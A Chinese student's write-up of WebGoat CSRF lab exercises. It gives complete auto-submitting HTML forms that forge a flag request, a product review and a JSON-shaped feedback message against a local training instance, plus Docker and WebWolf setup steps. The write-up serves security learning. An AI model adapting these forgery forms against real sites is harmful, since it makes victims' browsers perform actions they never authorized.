WebGoat的CSRF实验(简单版)

WebGoat的CSRF实验(简单版)

A3:基本的CSRF攻击,通过自动提交表单来获取flag

 我的WebGoat地址是http://127.0.0.1:8080/WebGoat,根据实际情况替换。

1.首先,找出action

 在WebGoatd的题目界面(CSRF)通过F12,打开开发者工具,在上方找到元素这一栏。快捷键ctrl+F,输入action,上下翻找。找到隐藏的表单

 然后编写脚本:(attack1.html,直接保存在桌面上,不是txt文件,可以先创建txt文件把代码复制完后再把后缀改成.html的,如原来的attack1.txt,改成attack1.html)

<!DOCTYPE html> <html> <body> <form action="http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag" method="POST" target="_blank"> <input type="hidden" name="csrf" value="false"> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html>

 

先确保浏览器打开了webgoat,在桌面点击attack1.html

或者先在脚本存放目录下启动http服务

python -m http.server 8000

然后在浏览器最上面的导航栏输入:http://localhost:8000/attack1.html

会给出flag

复制提交即可

 

 

A4:CSRF攻击提交评论,需要正确的参数和验证值(validateReq)

构造脚本,触发POST请求即可

老样子,先找到对应的action,为后续的CRSF攻击提供相应的参数,方便构造脚本

构造相应文本:(attack2.html)(第一个input 里的value可以修改成你的学号或者名字,相当于评论的内容。)

<!DOCTYPE html> <html> <body> <form action="http://127.0.0.1:8080/WebGoat/csrf/review" method="POST" target="_blank"> <input type="hidden" name="reviewText" value="I am 8208231122 .This app is so insecure, I didn't even post this review, can you pull that off too?"> <input type="hidden" name="stars" value="1"> <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html>

  先确保浏览器打开了webgoat,然后在桌面点击attack1.html

  或者在浏览器打开:http://localhost:8000/attack1.html

(点击后可能跳到登录界面,这时候登录,然后再次点击)

    出现这个界面就是成功啦。

   在评论区可以看到输出了我想输出的内容(看不到的可以多刷新几次):"I am 8208231122 .This app is so insecure, I didn't even post this review, can you pull that off too?"并且显示的是1星。(This app is so insecure, I didn't even post this review, can you pull that off too?这一句是我之前html里写的,为了体现特殊性我加入了我的学号8208231122)。

 

 

 

A7:利用CSRF发送反馈,通过构造特殊的name和value来形成合法的JSON数据       

 

  这道题目,最简单的办法,先在桌面创建a.html并保存(在记事本中编辑完记得保存,如何创建请参考文章A3部分)。在确保webgoat打开的情况下,在桌面点击a.html,这时候会跳到登录界面,登录即可,再次在桌面点击a.html(代码构造过程也是先找到题目对应的action,找到相关参数,和前两题一样)

<form name="attack" enctype="text/plain" action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input type="hidden" name='{"name": "WebGoat", "email": "[email protected]", "subject": "service", "message":"'value='WebGoat is the best!!"}'> </form> <script>document.attack.submit();</script> 

出现flag,复制粘贴即可

 

 

 

ps:你也可以用webwolf

 

        1.用到webwolf,点击右上角的小狼图标,先打开webwolf。

        打不开的可以先把docker容器关了,运行 docker run -d -p 8080:8080 -p 9090:9090 --name webgoat webgoat/webgoat,然后访问http://127.0.0.1:9090/WebWolf。如果有命名冲突,可以打开docker桌面版,把冲突容器删除,也可以通过命令行来删除:

# 查看当前运行中的容器
docker ps -a

# 停止 WebGoat 容器
docker stop webgoat

# 删除 WebGoat 容器(推荐)
docker rm webgoat

还不行就把docker ps -a输出结果中的CONTAINER ID(如a1b2c3d4e5f6)

# 再删除容器
docker rm a1b2c3d4e5f6

 

2.在桌面编写a.html,并保存(在记事本中编辑完记得保存,如何创建请参考文章A3部分)

<form name="attack" enctype="text/plain" action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input type="hidden" name='{"name": "WebGoat", "email": "[email protected]", "subject": "service", "message":"'value='WebGoat is the best!!"}'> </form> <script>document.attack.submit();</script> 

 

通过webwolf上传:在最上面那一栏点击Files,在点击选择文件,找到a.html,点击打开

 然后点击Upload files,可以看到a.htnl已经被上传到webwolf了

点击a.html,会出现以下界面,复制粘贴flag即可

 

 

A8:利用两个账户(admin和csrf-admin)来演示CSRF攻击的影响

  需要打开两个webgoat的标签页,第一个标签页登录你的账号假如是admin,在第二个标签页创建并登录一个名为csrf-admin的账户。最后再返回第一个标签页(如果需要重新登录,就登录admin),回到原来的题目界面,点击Saved!

         That's all。很不容易,一开始我只知道CSRF的概念,却不知道怎么去解决webgoat上的题,前两道都是自己构造html,需要用到的参数也可以在源代码找到(无力扶墙,原来是通过action来找);第三道最离谱,我开始写的html文件甚至都没有返回flag( 我用了no-cors,客户端看不到服务器响应),就显示通过了(题号变绿了),本想就此放弃,奈何实验报告肯定要用到flag,只好重新写······还好最后一题很简单,没费什么功夫就拿下了。这个实验更好用的办法是Burp Suite,奈何我太懒了还没学会🥲

        希望web考试能和这次实验一样,顺利过关。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Read more

Google AI Studio 全指南:从入门到精通 Gemini 开发

在生成式 AI 的浪潮中,Google 凭借 Gemini 模型系列强势反击。而对于开发者来说,想要体验、调试并集成 Gemini 模型,最佳的入口并不是 Google Cloud Vertex AI(那是企业级的),而是 Google AI Studio。 Google AI Studio 是一个基于 Web 的快速原型设计环境,它允许开发者极速测试 Gemini 模型,并将测试好的 Prompt(提示词)一键转换为代码。本文将带你从零开始,掌握这款强大的工具。 一、 什么是 Google AI Studio? Google AI Studio 是 Google 为开发者提供的免费(或低成本)AI

微信终于官宣!OpenClaw(龙虾)正式接入,你的微信里多了一个AI管家

微信终于官宣!OpenClaw(龙虾)正式接入,你的微信里多了一个AI管家 就在昨天,微信放出了一个让科技圈沸腾的消息:微信正式推出「ClawBot」插件,支持接入开源AI智能体OpenClaw(俗称“龙虾”) 。 这意味着,你再也不需要冒着封号的风险使用非官方插件,现在可以直接在微信聊天界面里召唤你的“龙虾”替你干活了。 什么是“龙虾”? 首先科普一下,为什么大家管OpenClaw叫“龙虾”?因为它的图标是红色的,形似龙虾,所以被网友们亲切地称为“龙虾”。OpenClaw是一款实现“认知、执行、记忆”闭环的开源AI框架,简单来说,它能让AI真正“长出手脚”,自主执行文件管理、邮件收发、数据处理等复杂任务。 而微信这次推出的ClawBot插件,就是帮你用微信连接个人龙虾的聊天入口——相当于你现在能跟你的“虾”成为微信好友了。 如何接入? 想要在微信里玩转龙虾,操作非常简单,只需两步: 第一步:启用微信ClawBot插件 * 将微信更新到

AI 浪潮下数据库的 “融合进化”:电科金仓 KES V9 2025 引领新范式

AI 浪潮下数据库的 “融合进化”:电科金仓 KES V9 2025 引领新范式

AI 浪潮下数据库的 “融合进化”:电科金仓 KES V9 2025 引领新范式 * 一、场景重塑产业格局:数据库“融合进化” * 二、多模数据融合:打破数据藩篱,激发内在价值 * 三、多架构随需应变:业务驱动的灵活底座 * 四、多语法兼容:平滑迁移的“无痛”实践 * 五、智能注入:运维自治与效能跃升的未来 * 六、融合·智能:数据库演进新范式 * 联系博主 AI 浪潮下数据库的 “融合进化”:电科金仓 KES V9 2025 引领新范式 ,AI 浪潮推动下,企业应用场景愈发多元复杂,传统数据库难以满足需求,“融合” 与 “智能” 成为数据库演进核心方向。电科金仓 2025

AI调参技巧:网格搜索优化

AI调参技巧:网格搜索优化

AI调参技巧:网格搜索优化 📝 本章学习目标:本章聚焦性能优化,帮助读者提升模型效率。通过本章学习,你将全面掌握"AI调参技巧:网格搜索优化"这一核心主题。 一、引言:为什么这个话题如此重要 在人工智能快速发展的今天,AI调参技巧:网格搜索优化已经成为每个AI从业者必须掌握的核心技能。Python作为AI开发的主流语言,其丰富的生态系统和简洁的语法使其成为机器学习和深度学习的首选工具。 1.1 背景与意义 💡 核心认知:Python在AI领域的统治地位并非偶然。其简洁的语法、丰富的库生态、活跃的社区支持,使其成为AI开发的不二之选。掌握Python AI技术栈,是进入AI行业的必经之路。 从NumPy的高效数组运算,到TensorFlow和PyTorch的深度学习框架,Python已经构建了完整的AI开发生态。据统计,超过90%的AI项目使用Python作为主要开发语言,AI岗位的招聘要求中Python几乎是标配。 1.2 本章结构概览 为了帮助读者系统性地掌握本章内容,我将从以下几个维度展开: 📊 概念解析 → 原理推导 → 代码实现 → 实战案例 → 最佳